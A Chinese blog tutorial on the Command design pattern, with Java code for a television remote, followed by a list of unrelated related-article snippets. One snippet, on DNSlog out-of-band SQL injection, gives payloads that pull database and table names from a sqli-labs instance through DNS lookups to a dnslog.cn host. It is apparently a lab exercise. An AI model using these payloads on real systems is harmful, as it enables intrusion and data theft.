命令模式(Command Pattern)

一、模式动机

命令模式(Command Pattern)是一种常用的行为型设计模式,它将请求发送者与请求接收者解耦,请求发送者通过命令对象来间接引用接收者,使得系统具有更好的灵活性,可以在不修改现有系统源代码的情况下将相同的发送者对应不同的接收者,也可以将多个命令对象组合成宏命令,还可以在命令类中提供用来撤销请求的方法。
命令模式又称为“动作(Action)模式”或者“事务(Transaction)模式”,是对象行为型模式之一。

  • 现实生活
    • 相同的开关可以通过不同的电线来控制不同的电器
    • 开关 类比 请求发送者
    • 电灯 类比 请求的最终接收者和处理者
    • 开关和电灯之间并不存在直接耦合关系,它们通过电线连接在一起,使用不同的电线可以连接不同的请求接收者
  • 软件开发
    • 按钮 相当于 请求发送者
    • 事件处理类 相当于 请求的最终接收者和处理者
    • 发送者与接收者之间引入了新的命令对象(类似电线),将发送者的请求封装在命令对象中,再通过命令对象来调用接收者的方法
    • 相同的按钮可以对应不同的事件处理类
    • 将请求发送者和接收者完全解耦
    • 发送者与接收者之间没有直接引用关系
    • 发送请求的对象只需要知道如何发送请求,而不必知道如何完成请求

二、模式定义

  • 命令模式(Command Pattern):将一个请求封装为一个对象,从而使我们可用不同的请求对客户进行参数化;对请求排队或者记录请求日志,以及支持可撤销的操作
  • 命令模式是一种对象行为型模式,其别名为动作(Action)模式或事务(Transaction)模式
    • “用不同的请求对客户进行参数化”
    • “对请求排队”
    • “记录请求日志”
    • “支持可撤销操作”

三、模式结构

image

四、案例实现

案例背景

电视机遥控器

案例结构

image

代码实现

电视机类

public class Television {

    public void open(){
        System.out.println("打开电视");
    }
    public void close(){
        System.out.println("关闭");
    }
    public void change(){
        System.out.println("换台");
    }

}

抽象命令类

public interface Command {

    void excute();

}

打开命令

public class OpenCommand implements Command{

    private Television t;

    public OpenCommand(){
        t = new Television();
    }

    @Override
    public void excute() {
        t.open();
    }
}

关闭命令

public class CloseCommand implements Command{

    private Television t;

    public CloseCommand() {
        t = new Television();
    }

    @Override
    public void excute() {
        t.close();
    }
}

换台命令

public class ChangeCommand implements Command{

    private Television t;

    public ChangeCommand() {
        t = new Television();
    }

    @Override
    public void excute() {
        t.change();
    }
}

电视机遥控器

public class Controller {

    private Command openCommand,closeCommand,changeCommand;

    public Controller(Command openCommand, Command closeCommand, Command changeCommand) {
        this.openCommand = openCommand;
        this.closeCommand = closeCommand;
        this.changeCommand = changeCommand;
    }

    public void open(){
        openCommand.excute();
    }

    public void close(){
        closeCommand.excute();
    }
    public void change(){
        changeCommand.excute();
    }
}

客户类

public class Client {

    public static void main(String[] args) {
        Command openCommand,closeCommand,changeCommand;
        openCommand = new OpenCommand();
        closeCommand = new CloseCommand();
        changeCommand = new ChangeCommand();
        Controller controller = new Controller(openCommand,closeCommand,changeCommand);
        controller.open();
        controller.close();
        controller.change();
    }

}

案例结果

image

案例分析

调用者与抽象命令相关联,在程序运行时注入具体命令类对象,在Controller的业务方法中调用命令类的excute(),不同命令类的excute()不同,可以调用请求接受者的不同请求响应方法。
每一个具体命令类对应一个请求的处理者(接收者),通过向请求发送者注入不同的具体命令对象可以使相同的发送者对应不同的接收者,从而实现“将一个请求封装为一个对象,用不同的请求对客户进行参数化”,客户端只需要将具体命令对象作为参数注入请求发送者,无须直接操作请求的接收者

五、模式分析

  • 命令模式的本质是对请求进行封装
  • 将请求发送者和接收者完全解耦
  • 使得请求的一方不必知道接收请求的一方的接口,更不必知道请求如何被接收、操作是否被执行、何时被执行,以及是怎么被执行的。
  • 发送请求的对象只需要知道如何发送请求,而不必知道如何完成请求
  • 命令模式的本质是对请求进行封装
  • 一个请求对应于一个命令,将发出命令的责任和执行命令的责任分开

六、总结

模式优点

  • 降低系统的耦合度
  • 新的命令可以很容易地加入到系统中,符合开闭原则
  • 可以比较容易地设计一个命令队列或宏命令(组合命令)
  • 为请求的撤销(Undo)和恢复(Redo)操作提供了一种设计和实现方案

模式缺点

  • 使用命令模式可能会导致某些系统有过多的具体命令类(针对每一个对请求接收者的调用操作都需要设计一个具体命令类)

使用情形

  • 需要将请求调用者和请求接收者解耦,使得调用者和接收者不直接交互
  • 需要在不同的时间指定请求、将请求排队和执行请求
  • 需要支持命令的撤销(Undo)操作和恢复(Redo)操作
  • 需要将一组操作组合在一起形成宏命令

本文来自博客园,作者:街酒,转载请注明原文链接:http://www.cnblogs.com/sorrymine/p/17421300.html

本文转载于网络 如有侵权请联系删除

相关文章

  • UnityWebRequest 通过Post方式发起网络请求

    以实际工作中与后端人员对接接口为例,下图为后端人员提供的需要对接的某个接口:可见数据结构中包含了4个string类型的字段,首先定义数据结构,注意字段名和字段类型需要保持一致,否则导致无法正确解析数据。///<summary> ///确认过闸 ///</summary> [Serializable] publicclassAffirm { publicstringid; publicstringinId; publicstringtime; publicstringbatchCode; }复制Serializable特性表示该类可序列化,否则无法进行序列化设置请求头header的Content-Type,它有四种类型:application/x-www-form-urlencoded(默认)application/xmlapplication/jsonmultipart/form-data由于该接口所传的参数为json格式,所以需要设置为application/json,否则导致报错:HTTP/1.1415UnsupportedMediaType,下面封装发起网

  • 《人生重开模拟器》爆火出圈,3天2亿流量却源于群内自嗨,网友:我提前看遍人生的无常

    杨净丰色发自凹非寺 量子位报道|公众号QbitAI有没有一款游戏,让你可以提前看遍人生的无常?最近,就有一款游戏刷屏全网,它叫做人生重开模拟器。它在短短3天就创造2亿访问量。在这里,只需要抽几张“天赋”卡,为自己的“颜值、智力、体质、家境”分配点值,然后就可以重启人生路。 你可能天资聪颖,15岁出国读高中,30岁找到灵魂伴侣顺风顺水度过一生;你也可能14岁参见一个选秀节目,爆红成为大明星,却因为负面新闻锒铛入狱,然后一直过着枯燥的监狱生活;甚至可能你一开始就没发育好,胎死腹中……在这个世界里,拼多多会在你35岁时收购阿里巴巴,40岁时中国江苏省会改为苏州,67岁本·拉登发视频称自己假死,70岁时城市里到处都是全息投影。总之一切皆有可能。怎么,是不是有点心动了?实际上,这款游戏短短3天上线,玩家数上千万。甚至一度在百度贴吧、朋友圈、QQ群、微博等各大社区平台纷纷刷屏。然鹅,令人没想到的是,该游戏的主创只有两个人,原本只是想在QQ群里自嗨,游戏bug也是一堆,结果就这么火出圈了。如今仅仅上线四天后,他们官宣手游版即将上线,目前已能在TapTap上预约。发展速度如此迅猛,这究竟是怎么一回事?

  • Neuron: M/EEG-fMRI融合指南

    人的一切认知活动都是由许多大脑区域组成的网络协同调节的。为了理解认知,我们需要同时识别大脑在空间和时间上的反应。来自德国柏林自由大学的学者提出一种技术,将fMRI记录的人类大脑的多元反应模式与基于表征相似性的M/EEG联系起来。这种非侵入性分析技术称为M/EEG-fMRI融合,作者讨论其优缺点并强调在认知神经领域广泛的适用性。本文发表在Neuron杂志。(可添加微信号siyingyxf或18983979082获取原文)简介:识别大脑在时间与空间上的响应我们毫不费力地进行着一系列的日常认知活动,听说读写甚至找手机,却很少去考虑其背后复杂的神经活动。每种认知活动都涉及特定时间动态的大脑网络。某些网络瞬间响应,某些网络动辄数十数百毫秒才能实现一些功能。因此,研究神经活动如何实现认知功能的关键是在空间和时间上同时以高分辨率记录神经活动。然而这对于认知神经科学来说是一个重大挑战,因为目前的非侵入式脑测量技术要么空间上表现出色,如fMRI,要么时间上表现出色,如M/EEG,却不能二者兼顾。单独采用一种技术无法结合空间与时间讨论认知过程的机制。结合两者的想法就应运而生了,学者们希望通过结合两者的测量

  • Java日志:您需要了解的4种日志类型

    日志记录是软件开发中的一个重要主题,特别是如果您需要分析生产环境中的错误和其他意外事件。实现日志记录通常很容易。但正如您可能经历过的那样,日志记录远比看起来复杂得多。这就是为什么你可以在博客上找到很多关于它的文章。作为一名经验丰富的开发人员,您应该了解可用的不同日志框架,常见缺陷和最佳实践,当然还有常见部署方案中使用的日志文件类型。在本文中,我将重点关注后者。我将告诉您几乎所有开发或生产环境中可以找到的四种不同类型的日志。应用程序日志 让我们从最常见的日志类型开始:应用程序日志。大多数开发人员在谈论日志记录时会想到这个日志。原因很简单。他们的应用程序生成此日志它包含应用程序编写的各种错误消息,警告或其他事件。这些消息可以提供与特定用例相关的逻辑高级信息。典型的例子是:用例中发生的异常的堆栈跟踪。有关外部系统响应时间较慢的警告消息。用例被触发或完成的信息。应用程序日志可能是本文中提到的最重要的日志类型,因为您可以完全控制它。这意味着您负责编写消息。每条日志消息都需要提供有用的信息,以帮助您了解应用程序的行为。如果您想了解有关应用程序日志的更多信息,您应该查看Eric的文章,其中描述了一组

  • MongoDB 4.2新特性:分布式事务、字段级加密、通配符索引、物化视图

    MongoDB4.2已经发布,我们来看看它增加了哪些新特性?分布式事务?数据库加密?通配符索引?在2019年MongoDBWorld大会上,CTOEliotHorowitz介绍了MongoDB4.2中的一些功能,这些功能扩展了其在数据库技术方面的领先地位:分布式事务(DistributedTransactions),字段级加密(ClientSideFieldLevelEncryption),通配符索引(WildcardIndexing)、按需物化视图(MaterializedViews)。 MongoDB中文社区(微信公众号:mongoing-mongoing)这些都是重大的改进,表明MongoDB在企业级功能方便更加完善。 MongoDB4.2提升了事务和分析技术水平。它提供大规模的分布式事务的ACID担保和复杂的数据处理流程,还有最先进的加密控制保护机制。我们可以在任何地方运行MongoDB4.2:在本地数据中心,云上、混合云、Atlas云上。我们可以获得阿里云、AWS,Azure和GCP可用的完全托管,云原生的MongoDB服务。阿里云全球第一个实现了MongoDB异地多活架构。

  • Spark通过修改DataFrame的schema给表字段添加注释

    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站:https://www.captainai.net/dongkelun1、需求背景通过Spark将关系型数据库(以Oracle为例)的表同步的Hive表,要求用Spark建表,有字段注释的也要加上注释。Spark建表,有两种方法:用SparkSql,在程序里组建表语句,然后用Spark.sql(“建表语句”)建表,这种方法麻烦的地方在于你要读取Oracle表的详细的表结构信息,且要进行Oracle和Hive的字段类型进行一一对应用DataFrame的saveAsTable方法,这种方法如果对应的数据库里没有表,则Spark会根据DataFrame的schema自动建表,比较简单,不用考虑字段类型匹配转化问题,但是这种方法有一个问题,Spark读取Oracle的表为DataFrame时,并不能将表字段的注释读进来,所以就有了如标题所示的需求。(一开始以为DataFrame不能加注释,经过研究,发现是可以的!)2、如何查看DataFrame是否有注释前面讲到DataFrame里没有Oracle

  • 编写js程序实现n的阶乘_javascript矩阵算法

    大家好,又见面了,我是你们的朋友全栈君。定义一个函数,算出n的阶乘什么叫阶乘?例子: 3!=3*2*1=6 4!=4*3*2*1=24规律:n!=n*(n-1)!/**定义一个函数,算出n的阶乘*/ letx=Number(window.prompt('请输入求阶乘的数:')); console.log(fact(x)) functionfact(x){ returnx<2?1:x*fact(x-1) }复制发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/189139.html原文链接:https://javaforall.cn

  • 腾讯云微服务引擎TSE删除引擎实例api接口

    1.接口描述接口请求域名:tse.tencentcloudapi.com。 删除引擎实例 默认接口请求频率限制:20次/秒。 APIExplorer提供了在线调用、签名验证、SDK代码生成和快速检索接口等能力。您可查看每次调用的请求内容和返回结果以及自动生成SDK调用示例。 2.输入参数以下请求参数列表仅列出了接口请求参数和部分公共参数,完整公共参数列表见公共请求参数。 参数名称 必选 类型 描述 Action 是 String 公共参数,本接口取值:DeleteEngine。 Version 是 String 公共参数,本接口取值:2020-12-07。 Region 是 String 公共参数,详见产品支持的地域列表。 InstanceId 是 String 引擎实例ID 3.输出参数 参数名称 类型 描述 RequestId String 唯一请求ID,每次请求都会返回。定位问题时需要提供该次请求的RequestId。 4.示例示例1删除引擎实例输入示例https://tse.tencentcloudapi.com/?

  • 爱普生L4168打印出来是白纸,复印OK,打印机测试也OK 解决方案

    问题:爱普生L4168打印出来是白纸,复印OK,打印机测试也OK  操作系统:WINDOWS10 解决方案:从故障的现象思考了下,应该是数据没有传输到打印机上,将打印机从系统中删除,重新添加下打印机,问题解决。

  • bzoj3589 动态树 求链并 容斥

    bzoj3589动态树 链接 bzoj 思路 求链并。 发现只有最多5条链子,可以容斥。 链交求法:链顶是两条链顶深度大的那个,链底是两个链底的\(lca\) 如果链底深度小于链顶,就说明两条链没有交集。 复杂度\(m*2^klog^2n\) 还有一种做法。 把所有链子都打上\(0/1tag\),只有\(1\)才能有贡献。 应该挺麻烦的,或者说都挺好写的。 代码 #include<bits/stdc++.h> usingnamespacestd; constint_=4e5+7; intread(){ intx=0,f=1;chars=getchar(); for(;s>'9'||s<'0';s=getchar())if(s=='-')f=-1; for(;s>='0'&&s<='9';s=getchar())x=x*10+s-'0'; returnx*f; } intn,Q,S[6],T[6]; structnode{intv,nxt;}e[_<<1]; inthead[_],tot; voidadd(intu,

  • cookie操作

      varcookie={ set:function(key,val,time){//设置cookie方法 vardate=newDate();//获取当前时间 varexpiresDays=time;//将date设置为n天以后的时间 date.setTime(date.getTime()+expiresDays*24*3600*1000);//格式化为cookie识别的时间 document.cookie=key+"="+val+";expires="+date.toGMTString();//设置cookie }, get:function(key){//获取cookie方法 /*获取cookie参数*/ vargetCookie=document.cookie.replace(/[]/g,"");//获取cookie,并且将获得的cookie格式化,去掉空格字符 vararrCookie=getCookie.split(";")//将获得的cookie以"分号"为标识将cookie保存到arrCookie的数组中 vartips;//声明变量tips for(var

  • 爬虫部分:10 《 smtplib模块 》-- 11 《 email模块 》 --12 《 schedule模块 》

     

  • SQL注入之dns回显注入

    DNSlog外带数据注入 用到的网站 http://dnsbin.zhack.ca/ http://dnslog.cn/ http://ceye.io/ pyload: 查库 http://192.168.232.128/sqllabs/Less-8/?id=1'andload_file(concat("\\\\",database(),".kkc53r.dnslog.cn\\xxx.txt"))--+ 查表 http://192.168.232.128/sqllabs/Less-8/?id=1'andload_file(concat("\\\\",(selectgroup_concat(table_nameSEPARATOR'-')frominformation_schema.tableswheretable_schema='security'),".kkc53r.dnslog.cn\\xxx.txt"))--+ 查列 http://192.168.232.128/sqllabs/Less-8/?id=1'andload_file(concat("\\\\",(select

  • 福大软工 &#183; BETA 版冲刺前准备(团队)

    软工·BETA版冲刺前准备(团队) 过去存在的问题 组员之间缺乏沟通,前后端缺乏沟通协作 组员积极性不高 基础知识不够扎实 手动整合代码效率过低 我们已经做了哪些调整/改进 通过会议加强组员之间的交流 组长请喝了奶茶提高大家积极性 努力查看相关文档 规范GIT提交及文档的撰写 我们在接下来的Beta冲刺中会有哪些改进 我们会加强组员之间的联系沟通 PM充当程序员鼓励师提高组员积极性 规范团队工作方式

  • C#数据表加锁解锁

    锁定数据库的一个表 SELECT  *  FROM  table  WITH  (HOLDLOCK)  其他事务可以读取表,但不能更新删除 SELECT  *  FROM  table  WITH  (TABLOCKX)  其他事务不能读取表,更新和删除 SELECT  语句中“加锁选项”的功能说明SQL  Server提供了强大而完备的锁机制来帮助实现数据库系统的并发性和高性能。用户既能使用SQL  Server的缺省设置也可以在select  语句中使用“加锁选项”来实现预期的效果。  本文介绍了SELECT语句中的各项“加锁选项”以及相应的功能说明。功能说明:   NOLOCK(不加锁)  此选项被选中时,

  • 【题解】 bzoj2462: [BeiJing2011]矩阵模板

    题面戳我 Solution 二维矩阵\(hash\),判断即可 自己YY了一个方法,\(bzoj\)T到飞,(一开始还用的三\(hash\)),交到luogu貌似跑的不慢啊qwq (我是不会告诉你全输出1即可AC) Update 我这个代码复杂度是错的\(O(n^4)\)的(我就说怎么卡不进时间,跑的还没暴力快) 正确做法应该是预处理出所有的子矩阵的\(Hash\)值,然后判重即可,这样就是\(O(n^2)\)的了 Code 伪·二维\(hash\) //luogu-judger-enable-o2 //Itiscodedbyning_mewon7.24 #include<bits/stdc++.h> #defineLLlonglong #defineUSunsigned usingnamespacestd; constintmaxn=1007; intn,m,A,B,Q=0; charch[maxn][maxn],q[maxn][maxn]; LLMOD[3]={19260817,20000909,19491001}; LLHash[3][maxn][ma

  • 意向不到的Dubug妙招

    1、直接dubug到想要到达的位置,直接点击旁边的数字即可。 2、debug后不想重新启动,想重新进入再执行一次debug,可以使用dropframe来删除当前栈,跳到之前的栈再一次进入这个栈。 注意这个是以栈为单位,即一个个方法来来回滚的,因此只能跳到上一个方法。 3、条件断点,右击两次断点红点,输入断点执行的等式就可以在满足条件的时候才进入该断点。 4、固定表达式追踪,可以点击加号添加想要跟踪的固定表达是,这样我们就不需要每次都打开对象去check对象内想知道的值。 5、断点开关,可以选择暂时不进入的断点,方便调试。 6、动态修改形参的值,通过evaluateexpression来动态临时修改形参的值来进行变量修改,满足我们特定变量的调试。 注意在形参上修改才有效。 7、多线程调试,选择suspend为Thread就可以让当前线程断点到改位置。 8、源码debug调试,右击两次源码的断点进行源码位置代码的输出,辅助调试。 注意双亲委派的模式下,优先加载JDK包下的源码,再加载本工程代码,再加载第三方如框架包。 因此使用在本工程下创建第三方jar包路径

  • mysql show full processlist 分析问题

    一、命令概述: mysqlshowfullprocesslist用来查看当前线程处理情况,具体信息请参考官网:https://dev.mysql.com/doc/refman/5.7/en/show-processlist.html showfullprocesslist返回的结果是实时变化的,是对mysql链接执行的现场快照,所以用来处理突发事件非常有用。   一般用到showprocesslist或showfullprocesslist都是为了查看当前mysql是否有压力,都在跑什么语句,当前语句耗时多久了,有没有什么慢SQL正在执行之类的 可以看到总共有多少链接数,哪些线程有问题(time是执行秒数,时间长的就应该多注意了),然后可以把有问题的线程kill掉,这样可以临时解决一些突发性的问题。 有时候一个快照可能看不出什么问题,那么可以频发的刷新试试 二、命令详解: 下面来看一下运行:showfullprocesslist命令的详解,我们可以通过三种方式来查看命令运行的结果: 1、通过SHOWFULLPROCESSLIST命令查看: mysql>SHOWFULL

  • 多网卡下网络细节思考

    最近在现场实施部署过程中经常遇到这样的情况:一台Windows服务器至少有2个或者以上的网卡,默认分配DHCP或者是分配静态的网络配置,而其中关键之处就是都使用了个人的网关,那么网络出口就只会使用其中的一个,而另外就不会起作用。 实例 如果一台服务器中有两个IP地址,一个是内网通信的IP,一个是专门上网的IP,如果这两个IP都固定分配,并且都各自有自己的网关,这个时候就会出现这样的情况:服务器可以正常的访问外网,但内网通信会异常中断,甚至有时候连接不上,这个就是双网关造成的现象。 解决办法 如果服务器还要继续对外访问网络,那么可以先保留外网访问的网关,然后清除内网IP的网关。那么内网通信又如何解决呢?然后就需要管理员的权限执行cmd命令,添加一条静态路由,让内网可以找寻到内网的下一跳。 routeadd10.150.64.0mask255.255.255.0192.168.122.1复制 192.168.122.1是内网IP的网关 10.150.64.0是想要访问的网络地址 作者:Leo_zhou 出处:http://zhouzhifei.com -----------

  • 【vue】MongoDB+Nodejs+express+Vue后台管理项目Demo

    ¶项目分析   一个完整的网站服务架构,包括:  1、webframe---这里应用express框架  2、webserver---这里应用nodejs  3、Database---这里应用MonggoDB +NoSQLManagerfor MonggoDB professional进行管理  4、前端展示 ---这里应用vue 1.项目服务器端搭建 安装NoSQLManagerfor MonggoDB professional,mongodb,nodejs,express,配置服务器以便获取真实数据。mongodb+express+vue+nodejs 搭建后台(MEVN架构) 2.项目初始化  在步骤1中的初始项目与此大致相同,选取的配置不同(vue-cli/webpack/yarn/element-ui) 1).新建项目文件夹vueManageSDL并初始配置  在初始配置的时候可以根据需求

  • CSP 公共钥匙盒

    问题描述 有一个学校的老师共用N个教室,按照规定,所有的钥匙都必须放在公共钥匙盒里,老师不能带钥匙回家。每次老师上课前,都从公共钥匙盒里找到自己上课的教室的钥匙去开门,上完课后,再将钥匙放回到钥匙盒中。 钥匙盒一共有N个挂钩,从左到右排成一排,用来挂N个教室的钥匙。一串钥匙没有固定的悬挂位置,但钥匙上有标识,所以老师们不会弄混钥匙。 每次取钥匙的时候,老师们都会找到自己所需要的钥匙将其取走,而不会移动其他钥匙。每次还钥匙的时候,还钥匙的老师会找到最左边的空的挂钩,将钥匙挂在这个挂钩上。如果有多位老师还钥匙,则他们按钥匙编号从小到大的顺序还。如果同一时刻既有老师还钥匙又有老师取钥匙,则老师们会先将钥匙全还回去再取出。 今天开始的时候钥匙是按编号从小到大的顺序放在钥匙盒里的。有K位老师要上课,给出每位老师所需要的钥匙、开始上课的时间和上课的时长,假设下课时间就是还钥匙时间,请问最终钥匙盒里面钥匙的顺序是怎样的? 输入格式 输入的第一行包含两个整数N,K。 接下来K行,每行三个整数w,s,c,分别表示一位老师要使用的钥匙编号、开始上课的时间和上课的时长。 可能有多位老师使用同一把钥匙,

相关推荐

推荐阅读